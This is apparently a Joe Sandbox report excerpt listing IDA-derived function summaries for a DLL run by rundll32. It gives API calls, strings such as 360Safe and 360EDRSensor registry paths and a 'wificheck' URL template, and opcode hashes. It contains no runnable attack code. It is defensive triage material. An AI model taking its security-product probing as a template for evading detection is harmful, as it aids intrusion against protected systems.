CloseHandle.KERNEL32 ref: 000000018000E28F
free.MSVCRT ref: 000000018000E29C
free.MSVCRT ref: 000000018000E2AF

Strings

|, xrefs: 000000018000E18C
D063, xrefs: 000000018000E176

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CriticalFileSection$EnterLeavefreemallocmemset$CloseCreateHandleReadSizeTime
String ID: D063$|
API String ID: 1613485820-3743183194
Opcode ID: 180749bbb112b904ef6176165a202792b4826eb4bf0b5cc93a95b31eeb2a1677
Instruction ID: 1c0486e52071ce2fa8a0c36d95268ac158065e3f2ce4ac4886627ad722c994ab
Opcode Fuzzy Hash: 180749bbb112b904ef6176165a202792b4826eb4bf0b5cc93a95b31eeb2a1677
Instruction Fuzzy Hash: 0A61AF327016588AFBD6CFA5E9457A873E9B70DBD8F008025EE0957BA8DF34C649C711

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180056C84 Relevance: 22.8, APIs: 6, Strings: 7, Instructions: 93COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0000000180056CB4
SHGetValueW.SHLWAPI(?,?,000000018004825D,?,?,?,?,?,?,?,000000018000644F), ref: 0000000180056D05

Part of subcall function 00000001800562D0: memset.MSVCRT ref: 000000018005630E
Part of subcall function 00000001800562D0: GetModuleFileNameW.KERNEL32 ref: 0000000180056325
Part of subcall function 00000001800562D0: PathAppendW.SHLWAPI ref: 0000000180056349
Part of subcall function 00000001800562D0: _wcsicmp.MSVCRT ref: 0000000180056364
Part of subcall function 00000001800562D0: PathAppendW.SHLWAPI ref: 000000018005637A

memset.MSVCRT ref: 0000000180056D30
memset.MSVCRT ref: 0000000180056D5A
SHGetValueW.SHLWAPI(?,?,000000018004825D,?,?,?,?,?,?,?,000000018000644F), ref: 0000000180056D9C

Part of subcall function 0000000180056534: memset.MSVCRT ref: 0000000180056572
Part of subcall function 0000000180056534: GetModuleFileNameW.KERNEL32 ref: 0000000180056589
Part of subcall function 0000000180056534: PathAppendW.SHLWAPI ref: 00000001800565AD
Part of subcall function 0000000180056534: _wcsicmp.MSVCRT ref: 00000001800565C8
Part of subcall function 0000000180056534: PathAppendW.SHLWAPI ref: 00000001800565DE

LeaveCriticalSection.KERNEL32(?,?,000000018004825D,?,?,?,?,?,?,?,000000018000644F), ref: 0000000180056DCF

Strings

Partner, xrefs: 0000000180056D6E
pid, xrefs: 0000000180056CED
SOFTWARE\Wow6432Node\360Safe\Coop, xrefs: 0000000180056D46
SOFTWARE\Wow6432Node\360EntSecurity, xrefs: 0000000180056D80
SOFTWARE\Wow6432Node\360SD, xrefs: 0000000180056CF4
PartnerName, xrefs: 0000000180056D3F
SOFTWARE\Wow6432Node\360EDRSensor, xrefs: 0000000180056D77

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: AppendPathmemset$CriticalFileModuleNameSectionValue_wcsicmp$EnterLeave
String ID: Partner$PartnerName$SOFTWARE\Wow6432Node\360EDRSensor$SOFTWARE\Wow6432Node\360EntSecurity$SOFTWARE\Wow6432Node\360SD$SOFTWARE\Wow6432Node\360Safe\Coop$pid
API String ID: 264253324-3445957450
Opcode ID: af17b70cf5ba9092bea16f3f380d13b2d21a94489603b21e2ef55527860ed742
Instruction ID: 89340431e1bc531ff063a600718ea9f8068e08b94321d1f6c16d494f9f8bead4
Opcode Fuzzy Hash: af17b70cf5ba9092bea16f3f380d13b2d21a94489603b21e2ef55527860ed742
Instruction Fuzzy Hash: 98319A32A00A4896FBA29F21AC443D967A0F74D7E4F808615FD68576E8DF79C78DC350

Uniqueness

Uniqueness Score: -1.00%

Function 000000018004808C Relevance: 21.3, APIs: 7, Strings: 5, Instructions: 252COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00000001800480D3

Part of subcall function 000000018000A7AC: GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000180001020), ref: 000000018000A7D5

GetTickCount.KERNEL32 ref: 000000018004825D
srand.MSVCRT ref: 0000000180048265
rand.MSVCRT ref: 000000018004826B
rand.MSVCRT ref: 000000018004829C

Part of subcall function 000000018000AF68: ??2@YAPEAX_K@Z.MSVCRT ref: 000000018000B026

Part of subcall function 000000018000AF68: ??2@YAPEAX_K@Z.MSVCRT ref: 000000018000B04B

InitializeCriticalSection.KERNEL32(?,?,?,?,?,?,?,000000018000644F), ref: 0000000180048390
??3@YAXPEAX@Z.MSVCRT ref: 0000000180048415

Strings

360safe, xrefs: 00000001800481D5
WifiCheckQuery, xrefs: 0000000180048237
wificheck:1, xrefs: 0000000180048215
http://%s/wcheckquery, xrefs: 00000001800482EE, 0000000180048331
wificheck, xrefs: 00000001800481F4

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ??2@rand$??3@CountCriticalHeapInitializeProcessSectionTickmemsetsrand
String ID: 360safe$WifiCheckQuery$http://%s/wcheckquery$wificheck$wificheck:1
API String ID: 2719022499-1298750920
Opcode ID: ba48bf925f8ff20436e767d0bb5c933ca5c9980a21313222aabcab8ee4652180
Instruction ID: c937e0c4e90421d2c820d9f7251a3693a618876eb833e6d48c240cb9fefbc629
Opcode Fuzzy Hash: ba48bf925f8ff20436e767d0bb5c933ca5c9980a21313222aabcab8ee4652180
Instruction Fuzzy Hash: 31A19E72201F0891EA96DF29D8443DD33A0FB49BE8F558625EA6D077D1EF78C689C344

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180066608 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 136registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 0000000180066653
RegQueryValueExW.ADVAPI32 ref: 0000000180066696
RegCloseKey.ADVAPI32 ref: 00000001800666AA

Part of subcall function 0000000180066428: RegOpenKeyExW.ADVAPI32 ref: 0000000180066475
Part of subcall function 0000000180066428: RegQueryValueExW.ADVAPI32 ref: 00000001800664BA
Part of subcall function 0000000180066428: RegCloseKey.ADVAPI32 ref: 00000001800664D7
Part of subcall function 0000000180066428: RegOpenKeyExW.ADVAPI32 ref: 00000001800664FE
Part of subcall function 0000000180066428: memset.MSVCRT ref: 0000000180066519
Part of subcall function 0000000180066428: RegQueryValueExW.ADVAPI32 ref: 0000000180066556
Part of subcall function 0000000180066428: RegCloseKey.ADVAPI32 ref: 000000018006656C
Part of subcall function 0000000180066428: PathAppendW.SHLWAPI ref: 000000018006657E
Part of subcall function 0000000180066428: PathFileExistsW.SHLWAPI ref: 0000000180066589
Part of subcall function 0000000180066428: GetProcAddress.KERNEL32 ref: 00000001800665AF
Part of subcall function 0000000180066428: FreeLibrary.KERNEL32 ref: 00000001800665C3

RegCloseKey.ADVAPI32 ref: 00000001800666E1
GetCurrentProcess.KERNEL32 ref: 0000000180066715
OpenProcessToken.ADVAPI32 ref: 0000000180066727
CloseHandle.KERNEL32 ref: 0000000180066748
GetCommandLineW.KERNEL32 ref: 000000018006675D
wcsstr.MSVCRT ref: 000000018006678D

Strings

ServiceCall, xrefs: 000000018006668B
SOFTWARE\360Safe\360Ent, xrefs: 0000000180066645
/elevated, xrefs: 0000000180066786

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Close$Open$QueryValue$PathProcess$AddressAppendCommandCurrentExistsFileFreeHandleLibraryLineProcTokenmemsetwcsstr
String ID: /elevated$SOFTWARE\360Safe\360Ent$ServiceCall
API String ID: 3868077243-983453937
Opcode ID: e8e6a48d377b8b947be7de055ef0add81918a1ec871415dff66262798b1d0c29
Instruction ID: 15e9288aeb9452e37e9dffc63771de1b8c488dcb05314bb0ab77bc9e2c882ef0
Opcode Fuzzy Hash: e8e6a48d377b8b947be7de055ef0add81918a1ec871415dff66262798b1d0c29
Instruction Fuzzy Hash: 1C514F72B00B188AFB919F65DC847DC33B5BB48BA8F148125EE2A536A5DF34CA49C740

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180002308 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 102libraryloaderCOMMON

Download Yara Rule

APIs

SHGetMalloc.SHELL32 ref: 0000000180002336
SHGetSpecialFolderLocation.SHELL32 ref: 000000018000234D

Part of subcall function 0000000180001900: SHGetPathFromIDListW.SHELL32 ref: 000000018000190C

GetModuleHandleW.KERNEL32 ref: 000000018000239C
GetProcAddress.KERNEL32 ref: 00000001800023B5
GetCurrentProcess.KERNEL32 ref: 00000001800023C7
wcsstr.MSVCRT ref: 0000000180002407

Strings

IsWow64Process, xrefs: 00000001800023AB
\System32, xrefs: 0000000180002415
Kernel32.dll, xrefs: 0000000180002395
\SysWOW64, xrefs: 00000001800023FD
(x86), xrefs: 0000000180002437

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: AddressCurrentFolderFromHandleListLocationMallocModulePathProcProcessSpecialwcsstr
String ID: (x86)$IsWow64Process$Kernel32.dll$\SysWOW64$\System32
API String ID: 3215350457-2087702655
Opcode ID: bf72767515c204881d1f258e158e1a3830e9824de3f932ee163774af780d841d
Instruction ID: 20fdff06134b497470b840b0dc70d8e75aaa21696b334e6b55e82bb231538848
Opcode Fuzzy Hash: bf72767515c204881d1f258e158e1a3830e9824de3f932ee163774af780d841d
Instruction Fuzzy Hash: 58411C7120574882FB96DB65EC543E932A0BB8DBE0F55C226A9A9477A5DF38C74DC300

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800448C4 Relevance: 19.8, APIs: 13, Instructions: 310memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0000000180044908
GetTickCount.KERNEL32 ref: 00000001800449C4
srand.MSVCRT ref: 00000001800449CC
rand.MSVCRT ref: 00000001800449D2
LeaveCriticalSection.KERNEL32 ref: 0000000180044A6F
EnterCriticalSection.KERNEL32 ref: 0000000180044AE0
SysAllocString.OLEAUT32 ref: 0000000180044BF7
SysStringByteLen.OLEAUT32 ref: 0000000180044C0C
SysAllocStringByteLen.OLEAUT32 ref: 0000000180044C17
SysFreeString.OLEAUT32 ref: 0000000180044C26
LeaveCriticalSection.KERNEL32 ref: 0000000180044C63
EnterCriticalSection.KERNEL32 ref: 0000000180044CBE
LeaveCriticalSection.KERNEL32 ref: 0000000180044CD1

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CriticalSection$String$EnterLeave$AllocByte$CountFreeTickrandsrand
String ID:
API String ID: 2388112003-0
Opcode ID: 601ce5742b1ae8d3f199bb9b56dc9d4efdb3fb2238afb3afbe88db3bb5de28ba
Instruction ID: ae2396e8f272108b73aaedae01213fa34c0c0a48780782be1cf856f1cb9becad
Opcode Fuzzy Hash: 601ce5742b1ae8d3f199bb9b56dc9d4efdb3fb2238afb3afbe88db3bb5de28ba
Instruction Fuzzy Hash: D7C1A133711E4986FB86CF6598843ED23A0F748BE8F498215EE295B794DF34CA49C344

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001D0C0 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 268COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 000000018001D157
MultiByteToWideChar.KERNEL32(?,?,?,?,?,000000018001CF99), ref: 000000018001D21B
StrCpyNW.SHLWAPI(?,?,?,?,?,000000018001CF99), ref: 000000018001D235
StrCmpNIW.SHLWAPI(?,?,?,?,?,000000018001CF99), ref: 000000018001D259
StrCmpNIW.SHLWAPI(?,?,?,?,?,000000018001CF99), ref: 000000018001D277
SHGetDesktopFolder.SHELL32(?,?,?,?,?,000000018001CF99), ref: 000000018001D3CC
StrRetToBufW.SHLWAPI(?,?,?,?,?,000000018001CF99), ref: 000000018001D436
StrCmpNIW.SHLWAPI(?,?,?,?,?,000000018001CF99), ref: 000000018001D468
StrCmpNIW.SHLWAPI(?,?,?,?,?,000000018001CF99), ref: 000000018001D486

Strings

http://, xrefs: 000000018001D24B, 000000018001D45A
https://, xrefs: 000000018001D269, 000000018001D478

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ByteCharDesktopFolderMultiWidememset
String ID: http://$https://
API String ID: 1422489264-1916535328
Opcode ID: de9a4066b55c8b133cdd0dae303f7afe18fb76f4c5fbd75c36adb4105bce4e56
Instruction ID: c30af850ed793d6246f4afeb4f6cdbd0e11f44053fb96dbf7aad71616760a46c
Opcode Fuzzy Hash: de9a4066b55c8b133cdd0dae303f7afe18fb76f4c5fbd75c36adb4105bce4e56
Instruction Fuzzy Hash: E0D17C72610A8C92FBA2DF25D8807D977A1F759BE4F44C212EA69476E4DF78C788C700

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180060B20 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 113libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 0000000180062148: memset.MSVCRT ref: 000000018006217C
Part of subcall function 0000000180062148: GetModuleFileNameW.KERNEL32 ref: 0000000180062193
Part of subcall function 0000000180062148: PathCombineW.SHLWAPI ref: 00000001800621AA
Part of subcall function 0000000180062148: GetProcAddress.KERNEL32 ref: 00000001800621DB
Part of subcall function 0000000180062148: GetProcAddress.KERNEL32 ref: 00000001800621EF
Part of subcall function 0000000180062148: GetProcAddress.KERNEL32 ref: 0000000180062203
Part of subcall function 0000000180062148: GetProcAddress.KERNEL32 ref: 0000000180062217
Part of subcall function 0000000180062148: GetProcAddress.KERNEL32 ref: 000000018006222B
Part of subcall function 0000000180062148: GetProcAddress.KERNEL32 ref: 000000018006223F
Part of subcall function 0000000180062148: GetProcAddress.KERNEL32 ref: 0000000180062253
Part of subcall function 0000000180062148: GetProcAddress.KERNEL32 ref: 0000000180062267
Part of subcall function 0000000180062148: GetProcAddress.KERNEL32 ref: 000000018006227B
Part of subcall function 0000000180062148: GetProcAddress.KERNEL32 ref: 000000018006228F

OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0000000180060B9F
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0000000180060BD7
OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0000000180060BF2
GetModuleFileNameExW.PSAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0000000180060C0E
GetModuleHandleW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0000000180060C1F
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0000000180060C2F
OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0000000180060C4A
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0000000180060C76
SysFreeString.OLEAUT32 ref: 0000000180060C89

Strings

QueryFullProcessImageNameW, xrefs: 0000000180060C28
Kernel32.dll, xrefs: 0000000180060C18

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: AddressProc$HandleModuleOpenProcess$CloseFileName$CombineFreePathStringmemset
String ID: Kernel32.dll$QueryFullProcessImageNameW
API String ID: 930578061-1170590071
Opcode ID: 21058d059558c167eb128ecc070ccb7a1d86f5313822a2293c00ae13ac054d8f
Instruction ID: 54324c73b988387a6f6bb080a4d890c873d93734858c8758c4fce1d00ab0755c
Opcode Fuzzy Hash: 21058d059558c167eb128ecc070ccb7a1d86f5313822a2293c00ae13ac054d8f
Instruction Fuzzy Hash: AD418231B01F089AE751CBA2EC04BDD72A2BB4DBD4F548524EE69637A4DF388619C344

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180078A30 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 197COMMON

Download Yara Rule

APIs

__C_specific_handler.MSVCRT ref: 0000000180078A39
?terminate@@YAXXZ.MSVCRT ref: 0000000180078A58
abort.MSVCRT ref: 0000000180078A72
_errno.MSVCRT ref: 0000000180078AAA
_errno.MSVCRT ref: 0000000180078B26
iswctype.MSVCRT ref: 0000000180078BF5
_errno.MSVCRT ref: 0000000180078C8D
free.MSVCRT ref: 0000000180078C9D

Strings

f, xrefs: 0000000180078A3F
csm, xrefs: 0000000180078A45

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: _errno$?terminate@@C_specific_handlerabortfreeiswctype
String ID: csm$f
API String ID: 3008409500-629598281
Opcode ID: cb4ff8b5ebe89d3986471470a6de958979d9adc1f1dde0f1a6724a9577e23cc3
Instruction ID: 7b0f8dd17277ba6112c52f93bbbd1643d611d3ff89c652db72cc518acb6e3753
Opcode Fuzzy Hash: cb4ff8b5ebe89d3986471470a6de958979d9adc1f1dde0f1a6724a9577e23cc3
Instruction Fuzzy Hash: 1D819172781B0889FBA6DFA490503EC23E0EF4C7D8F048515FA5917BC9DE3A8A599321

Uniqueness

Uniqueness Score: -1.00%

Function 000000018004A39C Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 158COMMON

Download Yara Rule

APIs

FindWindowW.USER32 ref: 000000018004A3C8
SetForegroundWindow.USER32 ref: 000000018004A3DB
wcsstr.MSVCRT ref: 000000018004A3FC
memset.MSVCRT ref: 000000018004A46F
ShellExecuteW.SHELL32 ref: 000000018004A5FC

Part of subcall function 00000001800495A4: GetTickCount.KERNEL32 ref: 00000001800495AC
Part of subcall function 00000001800495A4: srand.MSVCRT ref: 00000001800495B4
Part of subcall function 00000001800495A4: GetCurrentProcessId.KERNEL32 ref: 00000001800495BA
Part of subcall function 00000001800495A4: GetCurrentProcessId.KERNEL32 ref: 00000001800495CE
Part of subcall function 00000001800495A4: ??_U@YAPEAX_K@Z.MSVCRT ref: 00000001800495FA
Part of subcall function 00000001800495A4: GetTokenInformation.ADVAPI32 ref: 0000000180049629
Part of subcall function 00000001800495A4: GetSidSubAuthorityCount.ADVAPI32 ref: 0000000180049636
Part of subcall function 00000001800495A4: GetLastError.KERNEL32 ref: 000000018004963F
Part of subcall function 00000001800495A4: GetSidSubAuthority.ADVAPI32 ref: 0000000180049658
Part of subcall function 00000001800495A4: ??_V@YAXPEAX@Z.MSVCRT ref: 000000018004967B

Part of subcall function 00000001800494C4: ??_U@YAPEAX_K@Z.MSVCRT ref: 00000001800494DA

Part of subcall function 000000018004AF08: ShellExecuteW.SHELL32 ref: 000000018004AF73

Part of subcall function 0000000180049798: CoInitialize.OLE32 ref: 00000001800497D2
Part of subcall function 0000000180049798: CoCreateInstance.OLE32 ref: 0000000180049805
Part of subcall function 0000000180049798: IUnknown_QueryService.SHLWAPI ref: 0000000180049897

Strings

open, xrefs: 000000018004A47A, 000000018004A53B, 000000018004A5F3
p, xrefs: 000000018004A45C
Progman, xrefs: 000000018004A3C1
http://, xrefs: 000000018004A42C
Program manager, xrefs: 000000018004A3BA

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: AuthorityCountCurrentExecuteProcessShellWindow$CreateErrorFindForegroundInformationInitializeInstanceLastQueryServiceTickTokenUnknown_memsetsrandwcsstr
String ID: Progman$Program manager$http://$open$p
API String ID: 1516062321-2122229248
Opcode ID: 58ac5753a69af218fee8d4caaaed4576b5dee7a80132d74c2a967a22724bbafe
Instruction ID: 5854d287d17234f5949c9620cb83c855c738d658d9246579e802d6f7b8ceff8d
Opcode Fuzzy Hash: 58ac5753a69af218fee8d4caaaed4576b5dee7a80132d74c2a967a22724bbafe
Instruction Fuzzy Hash: A971A672209F8981FBA19B29D4913DE7360F7C97F4F058326BA6942AD5DF38C648C744

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180056400 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 142registryCOMMON

Download Yara Rule

APIs

Part of subcall function 000000018000A7AC: GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000180001020), ref: 000000018000A7D5

memset.MSVCRT ref: 00000001800564A0

Part of subcall function 0000000180057364: RegQueryValueExW.ADVAPI32 ref: 00000001800573A9

RegCloseKey.ADVAPI32 ref: 00000001800564F2
memset.MSVCRT ref: 0000000180056572
GetModuleFileNameW.KERNEL32 ref: 0000000180056589
PathAppendW.SHLWAPI ref: 00000001800565AD
_wcsicmp.MSVCRT ref: 00000001800565C8
PathAppendW.SHLWAPI ref: 00000001800565DE

Part of subcall function 000000018000892C: GetModuleHandleW.KERNEL32 ref: 0000000180008966
Part of subcall function 000000018000892C: GetProcAddress.KERNEL32 ref: 000000018000897B
Part of subcall function 000000018000892C: RegCloseKey.ADVAPI32 ref: 00000001800089E0

PathFileExistsW.SHLWAPI ref: 00000001800565FA

Strings

SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\360EDRSensor.exe, xrefs: 0000000180056477
safemon\360EDRSensor.exe, xrefs: 00000001800565D2

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Path$AppendCloseFileModulememset$AddressExistsHandleHeapNameProcProcessQueryValue_wcsicmp
String ID: SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\360EDRSensor.exe$safemon\360EDRSensor.exe
API String ID: 1838183957-848848004
Opcode ID: 53d40d4281f59d1785bb74b81d44e61fae45e923a74e0e4f630338c30aea0692
Instruction ID: 12369466515329e4b94078003e01a8293ee627d21bf6a1b54a8e48e621231722
Opcode Fuzzy Hash: 53d40d4281f59d1785bb74b81d44e61fae45e923a74e0e4f630338c30aea0692
Instruction Fuzzy Hash: F9617132614A4886EBA1DF25E8543DA73A4FB8C7E4F408215BAAD437E5DF39C749CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000018005619C Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 141registryCOMMON

Download Yara Rule

APIs

Part of subcall function 000000018000A7AC: GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000180001020), ref: 000000018000A7D5

memset.MSVCRT ref: 000000018005623C

Part of subcall function 0000000180057364: RegQueryValueExW.ADVAPI32 ref: 00000001800573A9

RegCloseKey.ADVAPI32 ref: 000000018005628E
memset.MSVCRT ref: 000000018005630E
GetModuleFileNameW.KERNEL32 ref: 0000000180056325
PathAppendW.SHLWAPI ref: 0000000180056349
_wcsicmp.MSVCRT ref: 0000000180056364
PathAppendW.SHLWAPI ref: 000000018005637A

Part of subcall function 000000018000892C: GetModuleHandleW.KERNEL32 ref: 0000000180008966
